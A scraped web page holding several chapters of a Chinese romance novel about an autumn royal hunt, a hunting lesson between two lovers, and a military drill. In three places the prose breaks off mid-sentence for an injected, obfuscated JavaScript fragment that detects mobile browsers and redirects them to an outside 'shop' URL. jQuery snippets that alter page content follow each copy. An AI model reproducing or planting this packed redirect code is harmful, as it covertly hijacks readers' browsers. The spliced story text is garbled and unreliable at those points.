将近亥时,百里烜赫光临小院,她立刻迎上去,见他手里是拿着东西的,似乎还不小,待她走近,仔细一看竟是弓箭。 正好奇地打量着,他将弓箭直接递与她道:“送给你的!” “谢谢。”她含笑接下,手上的弓箭弓身轻便,以黑檀木精制,其上银丝缠绕,搭配的箭镞锋利,箭杆尾端饰五彩雉羽。 他的礼物总是这般契合她的需求,且还很精美。 休沐正式开始了,或是黎书意去找李诗施、花英和魏慕依,或是她们来找她,每一天她都过得平静而有滋味。 一个月转瞬即逝,转眼国子监又开学了,日子还是一如往常,规律、安稳、平凡,而又温馨。 白露这日,丹霄迎来了一年一度的秋猎,西景也举办秋猎,从前这便是令黎书意期待的大事之一,因为她可以欣赏林地的美景,一睹父兄在狩猎场上的风姿。 然而,怎么样都不及这回,因为这回的秋猎不仅能满足上面所提的两项,她还可以亲自体验狩猎的快感,如今的她已经有了娴熟的马术和不错的射艺。 天还未大亮,黎府的狩猎队伍便在门口排开,带上新得的弓箭和其他所需之物,黎书意随叔母登上了马车。 到城门口,发现已有不少家族在候着了,黎书意在人群中瞧见了李诗施和魏慕依,便下马车去与二人闲话。 说了一会,她回到父兄身边,此时城门口已经人满为患。 不多时,一辆雕刻精致的黑楠木双驷马车慢慢行来,看到车辕上坐着的纯钧,黎书意便知是百里烜赫到了。 自从百里烜赫入丹霄封定王之后,祁安阁的四大暗卫便转到明面上任职。 纯钧担任王府典军,执掌王府军事调度与府兵训练;方天任副典军,辅助纯钧处理军务,战时协同指挥;龙胆任职亲事府统军,统领王府亲信兵将;偃月则为帐内府校尉,专职守护王府内院安全。 马车停下,墨蓝色锦帘被纯钧拉开,厢内的少年躬身下车。 百里烜赫今日穿了一身玄青色窄袖骑装,他发髻高束,并以镂空雕花金冠固定,腰封紧紧贴在劲瘦的腰间,整个人挺拔如松,周身散发出许久未见的凛冽肃杀之气,这令黎书意忍不住多看了两眼。 忽然,被看的人似有所感一般,目光猛地转了过来,两人的视线便撞在一起,她的心跳瞬间漏了一拍。 少年明眸璀璨清冷,在触及她时转柔,嘴角微微上扬,下一刻便迈步朝这边走来。 “见过定王殿下。”待人走近,黎横天黎长策齐开口问候。 百里烜赫颔首回道:“见过黎大将军和黎少将军。” 两方正式见礼毕,黎长策换上对好友的态度,看着百里烜赫提议说:“好久没有参加围猎了,上次围猎我略输你一筹,这回咱们再好好一较高下?” “正有此意。”百里烜赫爽朗一笑。 言罢,他的目光划到黎书意脸上,轻声问道:“不知黎二姑娘可会上场?” “自然。”黎书意一挺胸脯,肯定地答道。 “那我拭目以待。” 一旁的黎长策目睹两人的交谈,无奈地摇摇头,听谈话,礼貌疏离,一本正经,然而再看眼神,眉来眼去的,丝毫不清白。 也是难为这对爱侣了,之前在金错山庄时如胶似漆的,现在受形势所迫,不得不在人前保持距离。 众人又百无聊赖候了一会,皇宫的仪仗队终于来了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545797|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 只见龙旗招展,镶金嵌宝的车驾缓缓前行,皇帝皇夫端坐其中,一旁,花英身披重甲,腰悬宝剑,骑在马上护卫,身后卫队持戟而立,气势恢宏。 各家的人马迅速整队,黎书意也回到马车之中,待皇宫的仪仗队走到了最前头,各家的车驾按品阶依次续在后面,最终排起长长一条队伍。 狩猎长龙在百姓们的欢送声中渐渐远去,在路上行进了将近两个时辰,他们终于赶到了皇家猎场。 从马车上下来,黎书意新奇地四处扫看着,眼前是辽阔无垠的草原,一碧千里,远处是林木葱郁的群山,叠翠流金,晨风吹过,往鼻尖送来草木和泥土的清香。 虽然近处有一座行宫,但地方并不大,此次狩猎阵容空前,他们便像游牧民族那样在猎场安营扎寨,各自寻了地方搭帐篷。 黎家的几座帐篷一搭好,黎书意便钻进去小憩,坐着喝了一杯茶,待修整好了,她开始换衣,穿上了便于骑乘和活动的窄袖短衫、长裤和长靴,并把头发用绸带束起来。 刚换好没一会,李诗施和魏慕依进入帐中,看见她,两人不约而同愣住了。 魏慕依叹道:“一直觉得花姐姐帅气,今天一看,觉得你也不遑多让。” “谢谢夸奖。”她欣然接受恭维。 时已正午,阳光明媚,营帐前的空地上热闹非凡,许多人正在挽弓试手感。 来前,黎书意特意向兄长了解过这边的秋猎流程,兄长说丹霄近年来虽然尽力避免战争,但是始终不敢懈怠,便把狩猎当作练兵,因此异常隆重。 狩猎一共三天,第一天下午比试骑射。在各家搭建帐篷的时候,禁军也在连营右侧搭建好了简易的射箭台和观礼台。 射箭台设在北面,边线处一共安置了十二个兽形靶标,坐北朝南搭着锦棚的高台是二圣和皇亲国戚的席位,两侧设连排小案的看台则是公爵大臣的席位。 时至未时,嘹亮的号角声响起,宣告着射礼即将开始,诸位公爵大臣及其亲眷在高台下首排开的席位上逐一落坐。 黎家在右侧前中端的席位坐下,黎横天和黎裕居第一列,黎长策和黎书意居第二列,面前的小案上摆着点心、果盘和茶水,以供观赏射礼时享用。 坐下约一柱香时间,浑厚的金磬声响起,提示着御驾到来,场上顿时一片恭肃。 在司礼官高声的唱喝声中,全场行礼朝拜,皇帝与皇夫登上高台,在中间的大案落座,定王、睿靖郡主、寿王等几位跟在身后的皇亲们也紧随其后在两侧的几案后座好。 射礼就此开始,全场一片肃穆。 在一片安静中,皇帝身着华丽龙袍,款步走上射箭台,身后跟着花英,到了引射处前,皇帝站定。 跟在身后的花英双手抬着托盘恭敬地奉上,皇帝从中拿起宝雕弓和鎏金箭,从容地走到高台边缘,然后缓缓举弓搭箭。 全场寂静无声,气氛紧张而又充满期待,所有人的目光都聚焦在皇帝身上。 黎书意屏息凝神,认真注视着那道挺拔如松的明黄色身影,只见她微微眯起眼睛,眼神坚定而锐利,正紧盯着中央的虎头靶子,待弓弦扣如满月后,便果断地松开手指。 “嗖!”一声,随着尖锐的破空啸音,鎏金箭如闪电般笔直射出,众人的目光紧紧追随着那一抹亮光,接着“嘣!”一声,鎏金箭最终稳稳地射中了虎头眉心,全场顿时爆发出热烈的欢呼声。 黎书意崇拜地看着只是轻扬唇角,笑得一脸云淡风轻的帝王,一击即中,这箭术不比在场的一众武将差,她原以为丹霄崇文,不曾想这位女皇帝不仅文治强,武功也很了得。 将弓箭递给花英,皇帝目光扫视着在场所有臣民,郑重地说着开场词:“诸卿家与各位勇士们,值此秋猎盛事之际,朕心甚悦。箭术非止于技艺之较,亦是勇气、毅力与智慧之体现,昔日我丹霄先祖以弓马定天下,今日吾辈虽暂享太平,然居安思危,崇武之魂不可忘,现朕已开弓,尔等自当奋力拼搏,勇争佳绩,共襄此举,扬我丹霄国威!” 她的声音清亮而有力度,拥有着激励与鼓舞人心的力量,黎书意感觉自己的血液都沸腾了。 139. 骑射 庄重的仪式落下帷幕后,射箭比赛正式开始。 花英步至射箭台中央,声音洪亮地介绍规则:“此次射箭比试,不限男女与年龄,人人皆可参与,每人每次一箭,射中靶标者皆有奖品,奖品依中靶环数而定。射中一至三环,可得皮指套;射中四至六环,奖励皮箭囊;若射中七至十环,则可获精良的弓箭。望诸位踊跃参加!” 在她说话期间,有两名军士各拎着一个竹篓往坐席两侧走去,若有意参赛,可将自己的名字写在纸条上,然后投入竹篓。 不一会儿,人已经来到黎家这边,黎裕和黎长策都投了纸条。 走到黎书意跟前时,军士欲离开。 “等一下。”黎书意喊住他,随后将写有自己名字的纸条放入竹篓。 因这并非正式的射箭竞技,娱乐性十足,所以最后的参与人数多达两百余人。按十二人一组,共分了二十组。 分组完毕,比赛开始。 第一组领了弓箭,紧接着走上射箭台。黎裕便在这一组,铜锣敲响,全组人拉弓瞄准,然后撒放,他一箭射中十环,是组内第一。 魏慕依和李诗施被分到第三组,两人皆不善射,前者中三环,后者中四环,本来就是来体验的,她们倒也没有失落。 黎书意在第十五组,距离登台还有些时候,她便安坐在席上,边喝茶吃点心,边观看比赛。 上场之人,水平参差,有射艺高超的,也有初涉此道的,四周热闹非凡,众人时而惊叹,时而哄笑,现场气氛热烈。 很快就到第九组了,这一组要比先前几组令黎书意更有兴致些,因为其中有三位她的熟人——兄长、百里烜赫和花英。 不光是她,其他人也都来了精神,等着看这三人的表现。 “铛!”铜锣声起,十二位选手持弓、拉弦、瞄准、撒放,“嗖嗖嗖!”羽箭擦破空气的声音接连响起,紧接着“噔噔噔!”纷纷钉在兽形靶标上。 众人齐刷刷地向靶标看去,黎书意的目光依次落在第三、第六和第八个靶位,兄长十环、百里烜赫十环、花英十环。虽是意料之中,但亲眼看到,她仍是满心骄傲。 不多时,兄长回席,带回了奖品,这套弓箭是特制的,箭上刻有兽纹,虽非顶级材质,但做工精良,且颇具纪念意义。 射箭台上的比赛继续进行,看到第十三组时,黎书意起身离席。在父兄和叔父叔母的鼓励下,她去台侧排队等候上场。 这组人中,并没有与她相熟的,她从箭筒里抽出一支箭,等前一组人射完便接过弓,跟随同队的人上场,站在第六个靶标对面。 虽说这只是一个娱乐活动,可真正站在射箭台上这一刻,她还是有些激动,或许是因为周围有数千人围观吧。她深吸一口气,调整着自己的状态。 铜锣声传来,她抬起弓,搭箭上弦,瞄准靶心,缓缓拉弓,待弓弦拉满,干脆利落地松手。 一箭射出,她赶忙看向对面,箭落在九环和十环之间,虽是本组第一,她仍略感遗憾。 射完箭,她走下场,把弓交给下一组的人,然后前往领赏处领取弓箭。 射箭比赛结束后,众人修整了半个时辰,赛马随之拉开帷幕。 赛马分为两项,速度赛马和障碍赛马。速度赛马是绕营地前的空地跑一圈,全程有二里,获胜者的奖品是精美鞍具。 而障碍赛马的场地则在营地对面丛林的外围,那里在原有的水沟、石块基础上,又架设了不少栅栏,赛程长达五里,奖品是良马一匹。 黎书意选择了速度赛马。虽说她的马术已有不小的进步,但障碍赛对她而言难度还是高了些,她打算等过两年马术更精湛了再尝试,这次就先在速度赛马中体验一番。 参加赛马的人数比射箭的少了许多,而其中参加速度赛马的大多是文官和国子监生,总共将近百来人。 比赛十人一组,这次黎书意和李诗施、魏慕依在同一组。马匹可以自带,也可以选公用的,黎书意并未带马过来,她用的是父亲的云奔马。 赛马场上绿草如茵,微风拂过,草叶轻摇,清香阵阵,黎书意跨上马背,等待着发号。 场地四周早己围满了观众,人山人海,热闹非凡,欢呼声、呐喊声连成一片。 父兄、叔父叔母,以及百里烜赫站在前排显眼之处,大家皆面带笑容,眼含期待和鼓励地望着她。 哨响,比赛开始,黎书意一夹马腹,如离弦之箭般冲了出去。 风在耳边呼啸,发丝往后飘扬,她目光坚定地盯着前方,身体随着云奔的奔跑微微起伏,同时控制好手中缰绳。 同组的对手也都不甘示弱,大家你追我赶。黎书意望着视野前方的三道身影,在最后的冲刺阶段,她全力驱马,云奔似乎读懂她的想法,奋力狂奔,最终越过了第三人。 可更前面两人的马速度实在惊人,她虽拼尽全力,终究还是因实力稍逊一筹,未能追上。 最终,黎书意获得第三,李诗施第六,魏慕依第八。虽然成绩不算突出,没拿到奖励,但那种迎着风纵马疾驰的感觉实在畅快。 从马上下来,她牵着马走向父亲。 黎横天欣慰地望着走近的女儿,感慨说:“我们婠婠如今射艺和马术都这般好了!” 黎书意听了,心中更加喜悦,脸上不禁露出满意的笑容。 “唉呀,忽然感觉自己有点危险,万一哪天被超过呢。”黎长策在旁搭腔。 黎书意听见后不满地剜了他一眼,自己近一年刚接触弓马,哪里能与他这个自小就训练的人相比。 接着,她的目光往旁边划去,落在了百里烜赫身上,见他正含笑望着自己,黑眸里写满了温柔与赞赏,如同春日暖阳,让她从心里感到温暖。 速度赛马的过程很快,一个时辰左右便结束了,紧接着就是障碍赛马。 参与此项比赛的都是武将,且基本是年轻人,黎裕、黎长策、百里烜赫,还有花英都在其中。由于人数不过四十来人,所以分成三组。 为了更好地观赛,众人登上临近的小山头,这里可以将赛场尽收眼底,黎书意与父亲、叔母挑了一个视野不错的地方,便站在一起观赛。 叔父和花英在第一组,发令炮响,两人的马似离弦之箭快速冲出。 叔父马术精湛,速度奇快,面对水沟和栅栏时没有丝毫的犹豫,□□马与他配合默契,在他的驾驭下,如行云流水般顺利越过障碍。 花英骑术也颇为出色,所骑之马亦是良驹,但与在沙场摸爬滚打七八载的叔父相比,终究还是略逊一筹。 赛程渐入后半段,叔父开始发力,逐渐拉开与花英的距离,最终似疾风般第一个冲过终点。 兄长和百里烜赫同在第二组。比赛的炮声刚响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545798|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,逐影和蹑荆便如闪电般疾驰而出,当遇到水沟和栅栏这些障碍时,他们你追我赶,紧紧咬住对方。 激烈的角逐中,两人始终一直保持齐头并进的态势,难分高下。 然而在最后的冲刺关头,蹑荆在百里烜赫的操纵下,爆发出惊人的速度,凭借这股强大的爆发力,他略胜兄长一筹,率先冲过终点。 对于这个结果,黎书意并不意外,从前赛马时,百里烜赫也回回拿第一,失之毫厘的兄长数度扼腕叹息,百里烜赫只道,这归功于他少时在陵光常骑马去山中狩猎。 看完在意之人的比赛,黎书意没再多待,她和叔母一道从小坡上下来,两人想着回营地休息,走到半途,恰与驾马返回的百里烜赫相遇。 于是,叔母借口去找叔父,留下他二人四目相望。 今日人多,为了避嫌,期间他们除了对视过几眼,都未能好好说会话。 百里烜赫从马上下来,然后牵着马与她同行,两人朝着作为围猎奖品的马圈走去。 走了几步,百里烜赫打开话题:“你今日心情不错。” “嗯。”黎书意点头,“比赛还挺有趣的。” 百里烜赫轻笑一声说:“明日的狩猎会更有趣的。” 她知道,也正打算好好体验一番。 不多会,两人走到马圈,圈里的马匹皆是良品,毛色五彩斑斓,体型健硕,十分高大威武。 黎书意正随意地扫看着这些马匹,百里烜赫忽然转头看向她道:“挑一匹?” “我替你挑?”她诧异发问。 “不,”百里烜赫解释,“替你自己挑。” 黎书意瞬间明白过来了,百里烜赫这是要把奖励送给自己。 因她平常出行都坐马车,又不用上战场,所以就没想着要有什么专属坐骑,不过既然现在有这个机会,且这些马都是良品,她便不再推辞。 这一回,她的目光从那十多匹马身上逐一认真看过,最后选中了一匹白马,那马浑身雪白,没有一丝杂毛,它的眼睛大而明亮,犹如两颗璀璨的宝石,透着灵性。 待马夫将马缓缓牵至跟前,她轻轻抬手,温柔地抚摸着马的脊背,这马不仅没有丝毫排斥,反而微微蹭了蹭她的手,她不由得更喜欢了。 她歪着头,看着白马沉吟,片刻后眼中闪过一丝亮光,轻声说道:“你这般洁白无瑕,宛如冬日初雪,不如就叫白雪了。” 得了马,两人一人拉着一匹信步走着,继续闲聊起来。 牵着白雪回到黎家营地区,黎书意与它继续熟悉了一会,然后便把马交给侍卫照顾,自己则入营帐去了。 从午间一直玩到现在,她有些累了,换了身干净衣裳,她慵懒地坐着喝茶休憩,兰亭瞧出她的倦意,贴心地为她捏肩捶背。 时已傍晚,虽然明日才正式开始狩猎,但已经有不少人现在便深入丛林猎兽,打算猎些野味来当晚餐,利箭破空之声不时在耳畔回响。 她的父兄和叔父也带着一队人出去了,到夜幕降临时才返回,收获相当可观。 夜空浩渺,星月皎洁,营地中央篝火熊熊燃烧,烧烤架上肉块滋滋冒油,四周摆满了美酒佳肴,众人围坐在篝火旁,一边喝酒吃肉,一边谈天说地,欢声笑语在营地回荡。 黎书意亦品尝着父兄们打来的猎物,置身于热闹之中,细细体味着围猎的快乐。 140. 同行 翌晨,天色微明,营地便热闹起来了。众人分工明确,一批人忙着准备食物,另一批人则仔细收拾装备,大家都在为即将开始的狩猎做准备。 待用过早饭,所有事项准备就绪时,已至辰时,此刻阳光正好,微风不燥,正是出游狩猎的绝佳时机。 围猎队伍在营地前迅速排开,宛如一条蜿蜒的巨龙,鲜艳的旌旗迎风飘扬。 丹霄皇帝居最前列,她坐在一匹雄壮的汗血宝马上,身着金色绣龙骑装,头戴金冠,手持宝雕弓,英姿飒爽。 她的左侧是皇夫和百里烜赫,右侧是黎横天与花英,后面跟着其他王公大臣和亲随禁卫军。 黎书意骑着昨日刚得的新马“白雪”,拿着百里烜赫送的弓箭,与李诗施、魏慕依等人续在后面。 随着皇帝一声令下,鼓乐齐鸣,号角声震天,打破了猎场的宁静,成群的骏马在草地上奔驰,卷起阵阵烟尘,队伍浩浩荡荡,最后深入山林之间,惊起无数飞鸟。 这头一射自然得由皇帝先来,大家皆环顾四周,找寻着适合的猎物,少顷,有一只体型庞大,羽翼丰满的大雕从远处的天空飞来。 只见皇帝眼神一亮,立刻弯弓搭箭,瞄准那只大雕,紧接着,“嗖”的一声,羽箭破空,化作一道飞虹没入云霄,精准无误地穿透了大雕的胸膛,那大雕发出一声凄厉的哀鸣,最终轰然坠落在地上,激起一片尘土。 黎书意虽然昨日已经见识过陛下的射艺了,现在再看,依旧令她叹服。 大臣们见状,纷纷祝贺,一时间欢呼声此起彼伏,皇帝也露出了志得意满的笑容,然后打马继续前行。 随着深入丛林和追逐猎物,队伍渐渐分散开来,喧嚣声也渐渐淡去。 因是初次参与,黎书意并不求快,她和李诗施悠哉游哉地前行。行至某处,在几丈远的大树上看见一只鸟,她急忙搭弓瞄准,然后缓缓拉动弓弦。 然而,就在她松开弓弦的一刹那,鸟忽然点着头往旁边一跳,箭因此偏离了目标,而鸟也因此受惊,扑棱着翅膀飞走了。 她惋惜地叹了口气,对目前的她来说,骑射还是有些勉强,又加上目标是能移动的活物,想要命中就更不容易了。 李诗施为追另一只鸟往左边去了,黎书意没有跟去,她驾着马缓慢踱步,大约是因为先前路过的人的惊扰,所以猎物们都躲起来了,半天不见一只活物。 行出好一段路,她在不远处的草丛中发现一只雉鸡正在觅食,个头看起来还挺肥硕,不禁眼神一亮,于是立即勒停了马。 她动作轻缓地举起长弓,眼神锁定在雉鸡腹部,手指搭到弓弦上,再一点点向后拉,同时调整着自己的呼吸和姿势。 看准时机之后,她果断地松开手指,“咻!”的一声,利箭划破空气,朝着雉鸡飞去,最终准确地射中了雉鸡腹部,雉鸡挣扎了几下,便倒在了地上。 见射中了,她心里说不出的激动,急忙下马走到猎物面前,将成果装进麻袋里。 打破了零蛋,也算不虚此行,接下来她自如了许多。 越往里走,树木越高大茂密,浓荫匝地,阳光从树叶间漏下斑驳碎影,四周透着不可捉摸的静谧。 忽然,耳畔传来一阵窸窸窣窣的响动,她立时警觉起来,心突突直跳,想着该不会是老虎和豹子一类的大物吧,那些东西对她这个初出茅庐的狩猎者来说,实在有些勉强。 她咽了咽口水,紧紧握住手中的长弓,从身侧箭囊里抽出一支箭,悄无声息地搭到弓上,并仔细聆听方位。 声音逐渐靠近,发现是来自右前方,她急忙移弓对准那个方向,正欲拉弓,结果见是一匹马,马身上坐着一个人,她忙放下弓,问眼前的人:“你怎么过来了?” “问了李诗施,她说你往这边来了。”百里烜赫说着催马靠近少女。 “你不应该陪陛下吗?”黎书意也催马靠过去。 “姑母方才猎到了一头虎,已经折回营地了。”百里烜赫回答说,然后望向少女,“感觉怎么样?” “嗯……”黎书意叹气,“比靶场射静物难太多了。” “这是自然,毕竟丛林中情况复杂,射的又是活物。”百里烜赫说罢伸出手。 黎书意不解其意,“干嘛?” “我教你。” 将目光从递过来的手上移到那张俊美的脸上,黎书意打趣道:“你该不会是因为上次我拒绝你,所以耿耿于怀吧……” 被问的人抿唇不语,显然是被说中了,她见状觉得有些好笑,笑完了,她伸手搭到那只大掌上,然后跨到了蹑荆身上。 马踏着野径在林中踱步,前行的路上百里烜赫讲解道:“首先,你要学会观察猎物的行动轨迹和习性,它们感官敏锐,行动迅捷,所以要想命中,得耐心等待最佳时机。” 她了然地点头。 他们边走边坐在马背上环顾四周,认真地找寻着猎物,走出五十余步,给他们碰到了一只獐子,黎书意急忙向后转头。 百里烜赫垂下眼,对迫不及待的少女温声道:“记得注意风向和自己的位置,不能让猎物嗅到我们的气息,或者听到我们的动静。” 黎书意依言放缓呼吸,然后动作轻柔地举起弓。 下一刻,她持弓和拿箭的手皆被包住,整个人也几乎被百里烜赫拢在怀里,他无声地教她如何拉弓、瞄准。 姿势太过亲密,她心中涌起一股异样的感觉,努力甩开杂念,她把注意力放在猎物身上,那只獐子此时正在低头吃草。 “保持专注,准备好。” 后颈拂过浅浅的呼吸,她忽略那股扰人的酥麻感,紧张地盯着那只獐子,心跳犹如擂鼓。 “现在,瞄准獐子的要害部位,果断放箭。”百里烜赫对她耳语道。 她深吸一口气,按照他的指示,松开了弓弦。 利箭如流星般飞出,准确地射中了獐子腹部。 “射中了!”她激动地回身。 “嗯。” 百里烜赫轻声回应,看着眉欢眼笑、满面喜悦的少女,他勾唇笑了。 笑完,他从马上下来,又将黎书意抱下马,两人一起走到獐子跟前。 只见箭插在獐子身上,它无力地瘫倒在地上,奄奄一息,望着那双浑圆流光的眼睛,黎书意心头一颤,不由想起了另一双湿漉漉的眼睛来。 百里烜赫拔完箭,发现少女神色有异,便问:“怎么了?” “没什么,只是想起了墨团……”黎书意说。 从孟章逃离的时候,人命尚且顾忌不上,何况是一只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546381|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动物呢,而那些人在抄家时,是不可能对一只兔子上心的,估计它是饿死了,或者落入他人之口也说不定。 “不必自责,这不是你的错。”百里烜赫听后温声安慰。下一刻,他含指吹响口哨。 没过多久,纯钧骑着马赶来,他吩咐:“把獐子送回营地。” “是。”纯钧将獐子放在马背上,向他们施了一礼,然后便离开了。 黎书意坐回到白雪身上,两人继续结伴往里行,又猎了两个时辰,最终的收获还不错,她猎到一只雁和一只野鸭,百里烜赫猎到一头体型肥硕的野猪。 待返回营地,只见空地上一片繁忙热闹之景,部分人肩扛猎物载兴归来,另有一些人已着手处理猎物,猎犬们经过一整日的奔波,此刻懒懒地趴伏于地。 不知不觉间,夜幕降临了,营地中燃起篝火,今夜的营地较昨夜更为喧闹欢腾,空气中弥漫着浓郁醇厚的烤肉香气,跃动的橙红色火光映照在一张张带着酒气和喜色的面容上,处处欢声雷动。 直至夜色浓稠如墨,将大地淹没,篝火旁的喧嚣才慢慢沉寂,众人渐次入帐睡去。 骑马在丛林里穿行了大半日,黎书意身上的疲乏在兴奋退却后迅速浮了上来,入帐洗漱毕,她一沾枕头便睡着了。 狩猎第三日。 朝日红火,阳光灿烂,巳正时分,营地中便开始用午饭。 待众人吃饱,大家纷纷走出营帐,再汇聚于一处,现场气氛严肃紧绷,一场军事演习即将拉开帷幕。 各军主帅率领着手下将士,在空地上迅速而整齐地列成方阵,随后,他们神情肃穆地迈着方步向中央的大案走去。大案之后,皇帝皇夫并列端坐,面容威严。 “拜见皇帝皇夫!”各军主帅齐声高呼,恭敬地行礼问候。 丹霄皇帝微微颔首,目光中满是期待,她神色庄重地说道:“此次演习,关乎我朝军容风貌,望诸将全力以赴,展现我军之雄风,朕期待着你们精彩的表现。切莫辜负朕的期望,国之安宁,皆系于汝等!” 各军主帅洪声应是。 大案上摆放着一个抽签筒,筒内纸条写有两种不同内容:“我军”和“敌军”,主帅们需通过抽签分组,而后双方将在丛林边缘地区展开一场激烈角逐。 经过抽签,最终阵营划分如下,黎横天、黎裕等十位将帅归属我军,百里烜赫、黎长策和花英等十位将帅则为敌军。 一切准备就绪,敌军率先行动,他们迅速潜入丛林埋伏,身影转瞬便消失在葱郁的林间,我方则在外严阵以待,静候对战时刻。 与此同时,观战之人纷纷朝着附近山头走去,那里早已搭好凉棚,席位排列有序,桌上备好了茶水瓜果点心等物。 众人到达后,皇帝与皇夫在侍从的簇拥下,稳坐于视野最佳之处,而黎书意和叔母、李诗施、魏慕依则在稍远的席位上依次坐下。 黎书意的目光紧紧锁住军事演习区域,心中满是期待与紧张交织的复杂情绪,这是父亲投诚丹霄后证明实力的首个机会。 就在观战之人刚刚坐定不久,嘹亮的号角声如雷鸣般划破长空,军事演习正式开始。我军将士有序如一条长龙,整齐地没入丛林。 站在高处俯瞰,能瞧见两方人马逐渐靠近,战斗就要爆发。 141. 军演 丛林中一片寂静,微风不时拂过,吹得树叶沙沙作响,偶尔有飞鸟惊起,扑棱着翅膀的声音在静谧的环境里格外清晰。 百里烜赫带着纯钧、方天、偃月和龙胆等数百亲信埋伏于隐秘处。 某一时刻,偃月小声报告道:“主子,有人靠近,大约有三四百众,距离这有十余丈。” “行动!”闻言,百里烜赫当机立断下令。 说毕,他带领小队按计划从左翼悄然潜行,他步伐轻盈且迅速,并巧妙借助着丛林的掩护,如狼一般迅捷无声。 另一边,黎长策则率领中军从正面佯攻。此时,他们已经与敌人遭遇,短兵相接,顷刻间喊杀声震天动地。 丛林右翼,花英手持长枪,眼神犀利地在周围扫掠,她带着一队精锐,按照计划由此包抄,行动敏捷而迅猛。 敌军各自行动间,三支小队以鸟鸣为暗号,互相传递消息,每一步都精准无误,配合得天衣无缝,部下在三位将领的指挥下有序推进。 与此同时,我军防守亦是有条不紊。黎横天沉着地指挥着全局,每一个指令都坚定利落,黎裕则如灵活的猎犬,在阵前小心摸索。 两位主将共事七八载,默契在此刻展露无遗。黎横天通过旗语迅速调度兵力,将主要防守力量集中在中军,同时安排两队人马于左右两侧严阵以待,随时准备好应对突袭。 黎裕则亲自带领一支轻骑,在右军阵前指挥行动,不时骚扰敌军主力,打乱对方节奏。 山头上,观看演习的众人反应各异,他们或是紧张激动,或是因局势变化而不时叹息。 最前面的锦棚里,皇夫俯视着配合有度、行动迅捷的将士们,评价道:“这黎横天果然练兵有方,军队无论在纪律还是战斗力上,都较之前提升了不少。” 丹霄皇帝注视着在密林里冲突对峙的敌我双方,微微颔首,唇角也不自觉上扬,对此次军事演习的表现颇为满意。 不远处,李诗施和魏慕依正与黎书意边看演习边闲聊。 魏慕依好奇问:“你们觉得哪方会赢?” 李诗施不假思索道:“花英在哪队我便选那队。” 黎书意则摇了摇头,一脸纠结,对阵的两方皆有她在意之人,她实在难以决断,且看目前的状况,还真不知道哪一方会赢。 林地中,战况愈发激烈,树木因军队移动的轨迹而摇摆不定,四处刀光剑影闪烁,喊杀声、兵器碰撞声交织在一起,冲出丛林,直达云霄。 我军将士奋勇抵抗,坚如磐石,敌军亦是攻势凶猛,步步紧逼,双方你来我往,互不相让。 直至夕阳西下,这场演习才终于落下帷幕,两方势均力敌,在配合与指挥上都堪称绝妙。 最终,我军凭借着多年积累的经验,在这场没有硝烟的战场上略胜一筹。 黎书意紧张了整场的心情也随之放松,整肃有加的军容,默契十足的配合,攻守兼备的策略,此次演习的完美呈现是父兄努力近半载的结果,他们圆满地向皇帝交上了答卷。 当夜,营中照常举行大宴。篝火熊熊,刚经历了一场势均力敌的演习,将士们心情畅快,宴上大家围坐一起举杯欢庆,气氛热烈,谈笑声响彻九霄。 次日清晨,营地众人在熹微的晨光下苏醒,一起身,大家动作利落地各自整理完行装,随后便拔营出发了。 队伍浩浩荡荡,如同一条蜿蜒的巨龙,带着丰硕的收获向着都城返回。 秋猎没过几日,中秋接踵而至。 如今,府上的大小宴会基本由富春姑姑操持,黎书意只做最后的决策,较以往轻松了许多。 过午,门房收到各府送来的节礼,李家、花家、魏家……其中,家里小辈与她相熟的,还附带了给她的生辰礼物。 未时,定王府的贺礼也送到了。自百里烜赫的身体基本恢复后,他马上又投入到修建义仓的工作中,以便在遇到像蝗灾一般的天灾时可以开仓放粮,赈济灾民。 目前,他正在金英查看建立情况,所以这个中秋是回不来的。 傍晚时分,黎横天、黎长策和黎裕三人从军营返家,与待在家里的黎书意和赵夫人团聚,阖府便坐在庭院里吃团圆宴、赏秋月。 之后照例是黎书意用长寿面,再收亲人们准备的生辰礼物,若非环境发生了变化,她几乎要想不起来他们如今已经换了一个国家生活。 至深夜,团圆宴散,大家各自归院。 时候不早了,因为还在等一个人的祝福,黎书意也就没有即刻洗漱睡觉,而是进书房去了。 在书案里侧坐下,她铺纸磨墨,给自己命题写诗,好打发等待的无聊时光,她定的题目分别是一首赏月的五言诗和一首赏花的七言诗。 斟字酌句写完两首诗,她搁下笔默诵,觉得写得还不赖,满意地笑过之后,她往窗外瞥去,见月已中天,便问兰亭:“什么时辰了?” “回二姑娘,快子初了。” 子初,她闻言皱了眉,都这个时候了,怎的游隼还未飞来院中,是他那边公务繁杂,抽不开身写信吗? 算了,都已经等这么久了,姑且再等一会吧,从案头起身,她对兰亭道:“我还不困,先去外面赏会月。” 